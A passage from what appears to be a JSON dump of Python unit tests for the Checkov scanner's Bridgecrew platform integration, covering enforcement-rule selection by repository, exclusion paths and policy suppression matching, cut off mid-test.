\"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"org/repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '2')\n\n    def test_enforcement_rule_cli_repo_match(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"bcorg_org/repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '2')\n\n    def test_enforcement_rule_vcs_and_cli_repo_match(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"bcorg_org/repo\"\n                        },\n                        {\n                            \"accountId\": \"5678\",\n                            \"accountName\": \"org/repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '2')\n\n    def test_enforcement_rule_conflicting_match(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"bcorg_org/repo\"\n                        }\n                    ]\n                },\n                {\n                    \"id\": \"3\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule3\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"5678\",\n                            \"accountName\": \"org/repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '3')\n\n    def test_enforcement_rule_conflicting_multiple_vcs_match(self):\n        enforcement_rule_config = {\n            \"rules\": [\n                {\n                    \"id\": \"1\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"Security default findings\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": True,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": []\n                },\n                {\n                    \"id\": \"2\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule2\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"1234\",\n                            \"accountName\": \"org/repo\"\n                        }\n                    ]\n                },\n                {\n                    \"id\": \"3\",\n                    \"creationDate\": \"2022-05-02T12:18:27.379Z\",\n                    \"name\": \"rule3\",\n                    \"createdBy\": \"Bridgecrew\",\n                    \"mainRule\": False,\n                    \"editable\": True,\n                    \"codeCategories\": {\n                        \"LICENSES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"VULNERABILITIES\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"CRITICAL\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"IAC\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"SECRETS\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        },\n                        \"BUILD_INTEGRITY\": {\n                            \"softFailThreshold\": \"LOW\",\n                            \"hardFailThreshold\": \"LOW\",\n                            \"commentsBotThreshold\": \"LOW\"\n                        }\n                    },\n                    \"repositories\": [\n                        {\n                            \"accountId\": \"5678\",\n                            \"accountName\": \"org/repo\"\n                        }\n                    ]\n                },\n            ],\n            \"accountsNotInMainRule\": []\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_enforcement_rules(enforcement_rule_config)\n        self.assertEqual(repo_config_integration.enforcement_rule['id'], '2')\n\n    def test_enforcement_rule_constants(self):\n        # tests to ensure that the correct constants get updated as rules and runners change\n        module_keys = [e.value for e in CodeCategoryType]\n        self.assertEqual(set(module_keys), {'IAC', 'SECRETS', 'VULNERABILITIES', 'LICENSES', 'BUILD_INTEGRITY', 'WEAKNESSES'})\n\n    def test_global_soft_fail(self):\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]).is_global_soft_fail())\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.MEDIUM]).is_global_soft_fail())\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.HIGH]).is_global_soft_fail())\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.CRITICAL]).is_global_soft_fail())\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.INFO]).is_global_soft_fail())\n        self.assertFalse(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.MODERATE]).is_global_soft_fail())\n        self.assertTrue(CodeCategoryConfiguration('', Severities[BcSeverities.LOW], Severities[BcSeverities.OFF]).is_global_soft_fail())\n\n    def test_skip_paths_empty(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [\n                            \"org/repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": []\n                        },\n                        \"isDefault\": True\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, set())\n\n    def test_skip_paths_non_empty(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [\n                            \"org/repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"a/b\"\n                            ]\n                        },\n                        \"isDefault\": True\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, {'a/b'})\n\n    def test_skip_paths_non_matching(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [\n                            \"org/other_repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"a/b\"\n                            ]\n                        },\n                        \"isDefault\": True\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, set())\n\n    def test_skip_paths_no_repos(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [],\n                        \"rule\": {\n                            \"excludePaths\": []\n                        },\n                        \"isDefault\": True\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, set())\n\n    def test_skip_paths_multiple_one_match(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [\n                            \"org/repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"a/b\"\n                            ]\n                        },\n                        \"isDefault\": True\n                    },\n                    {\n                        \"repos\": [\n                            \"org/other_repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"x/y\"\n                            ]\n                        },\n                        \"isDefault\": False\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, {'a/b'})\n\n    def test_skip_paths_multiple_match(self):\n        vcs_config = {\n            \"scannedFiles\": {\n                \"sections\": [\n                    {\n                        \"repos\": [\n                            \"org/repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"a/b\"\n                            ]\n                        },\n                        \"isDefault\": True\n                    },\n                    {\n                        \"repos\": [\n                            \"bcorg_org/repo\"\n                        ],\n                        \"rule\": {\n                            \"excludePaths\": [\n                                \"x/y\"\n                            ]\n                        },\n                        \"isDefault\": False\n                    }\n                ]\n            }\n        }\n\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        repo_config_integration = RepoConfigIntegration(instance)\n        repo_config_integration._set_exclusion_paths(vcs_config)\n        self.assertEqual(repo_config_integration.skip_paths, {'a/b', \"x/y\"})\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_suppressions_integration.py",
    "content": "import unittest\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    integration as metadata_integration\nfrom checkov.common.bridgecrew.integration_features.features.suppressions_integration import SuppressionsIntegration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\n\n\nclass TestSuppressionsIntegration(unittest.TestCase):\n    def test_integration_valid(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n\n        suppressions_integration = SuppressionsIntegration(instance)\n\n        self.assertTrue(suppressions_integration.is_valid())\n\n        instance.skip_download = True\n        self.assertFalse(suppressions_integration.is_valid())\n\n        instance.platform_integration_configured = False\n        self.assertFalse(suppressions_integration.is_valid())\n\n        instance.skip_download = False\n        self.assertFalse(suppressions_integration.is_valid())\n\n        suppressions_integration.integration_feature_failures = True\n        self.assertFalse(suppressions_integration.is_valid())\n\n    def test_policy_id_regex(self):\n        suppressions_integration = SuppressionsIntegration(BcPlatformIntegration())\n\n        matching_ids = [\n            'bcorg_aws_1234567891011',\n            'bcORrg_aws_1234567891011',\n            'bcORrg_AWS_1234567891011',\n            'bcorg12_aws_1234567891011',\n            'bcorgabcdefgh_azure_1234567891011',\n            '0123456_azure_1234567891011'\n        ]\n\n        non_matching_ids = [\n            'bcorg_aws_123456789101',\n            'bcorg_aws123_1234567891011',\n            'bcorg_1234567891011',\n            'bcorgabcdefghazure_1234567891011',\n            '_bcorg_aws_1234567891011',\n        ]\n\n        for id in matching_ids:\n            self.assertIsNotNone(suppressions_integration.custom_policy_id_regex.match(id))\n\n        for id in non_matching_ids:\n            self.assertIsNone(suppressions_integration.custom_policy_id_regex.match(id))\n\n    def test_repo_match(self):\n        integration = BcPlatformIntegration()\n        integration.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(integration)\n        suppressions_integration._init_repo_regex()\n\n        self.assertTrue(suppressions_integration._repo_matches('org/repo'))\n        self.assertTrue(suppressions_integration._repo_matches('xyz_org/repo'))\n        self.assertTrue(suppressions_integration._repo_matches('80001234_org/repo'))\n        self.assertFalse(suppressions_integration._repo_matches('org/repo1'))\n        self.assertFalse(suppressions_integration._repo_matches('xyz_org/repo1'))\n        self.assertFalse(suppressions_integration._repo_matches('80001234_org/repo1'))\n\n    def test_suppression_valid(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n\n        metadata_integration.bc_to_ckv_id_mapping = {\n            'BC_AWS_1': 'CKV_AWS_20'\n        }\n        metadata_integration.bc_integration = instance\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1608816140086,\n            \"comment\": \"No justification comment provided.\",\n            \"accountIds\": [\n                \"org/repo\"\n            ]\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1608816140086,\n            \"comment\": \"No justification comment provided.\",\n            \"accountIds\": [\n                \"bcorg_org/repo\"\n            ]\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Resources\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1608816140086,\n            \"comment\": \"No justification comment provided.\",\n            \"resources\": {\n                \"accountId\": \"org/repo\",\n                \"resourceId\": \"/s3.tf\"\n            }\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Tags\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1610035761349,\n            \"comment\": \"No justification comment provided.\",\n            \"tags\": [\n                {\n                    \"value\": \"test_1\",\n                    \"key\": \"test_num\"\n                }\n            ]\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Policy\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1602670330384,\n            \"comment\": \"No justification comment provided.\"\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1608816140086,\n            \"comment\": \"No justification comment provided.\",\n            \"accountIds\": [\n                \"other/repo\"\n            ]\n        }\n\n        self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_1\",\n            \"creationDate\": 1608816140086,\n            \"comment\": \"No justification comment provided.\",\n            \"accountIds\": [\n                \"bcorg_other/repo\"\n            ]\n        }\n\n        self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression))\n\n        suppression = {\n            \"suppressionType\": \"Tags\",\n            \"policyId\": \"NOT_A_POLICY\",\n            \"creationDate\": 1610035761349,\n            \"comment\": \"No justification comment provided.\",\n            \"tags\": [\n                {\n                    \"value\": \"test_1\",\n                    \"key\": \"test_num\"\n                }\n            ]\n        }\n\n        self.assertFalse(suppressions_integration._suppression_valid_for_run(suppression))\n\n        # custom policy\n        suppression = {\n            \"suppressionType\": \"Tags\",\n            \"policyId\": \"bcorg_aws_1234567891011\",\n            \"creationDate\": 1610035761349,\n            \"comment\": \"No justification comment provided.\",\n            \"tags\": [\n                {\n                    \"value\": \"test_1\",\n                    \"key\": \"test_num\"\n                }\n            ]\n        }\n\n        self.assertTrue(suppressions_integration._suppression_valid_for_run(suppression))\n\n    def test_policy_suppression(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            \"suppressionType\": \"Policy\",\n            \"id\": \"7caab873-7400-47f9-8b3f-82b33d0463ed\",\n            \"policyId\": \"BC_AWS_GENERAL_31\",\n            \"comment\": \"No justification comment provided.\",\n            \"checkovPolicyId\": \"CKV_AWS_79\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_policy_v2_suppression(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            \"ruleType\": \"policy\",\n            \"checkovPolicyIds\": [\"CKV_AWS_79\", \"CKV_AWS_80\"],\n        }\n\n        record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_80', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression))\n\n    def test_suppress_by_policy_BC_VUL_2(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Policy',\n            'id': '73114538-553a-4401-9ab4-d720e773024a',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress policy package_scan',\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='BC_VUL_22', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_suppress_by_policy_BC_VUL_1(self):\n        instance = BcPlatformIntegration()\n\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Policy',\n            'id': 'efc9357e-5517-4407-818f-814e7cc341d1',\n            'policyId': 'BC_VUL_1',\n            'comment': 'test',\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         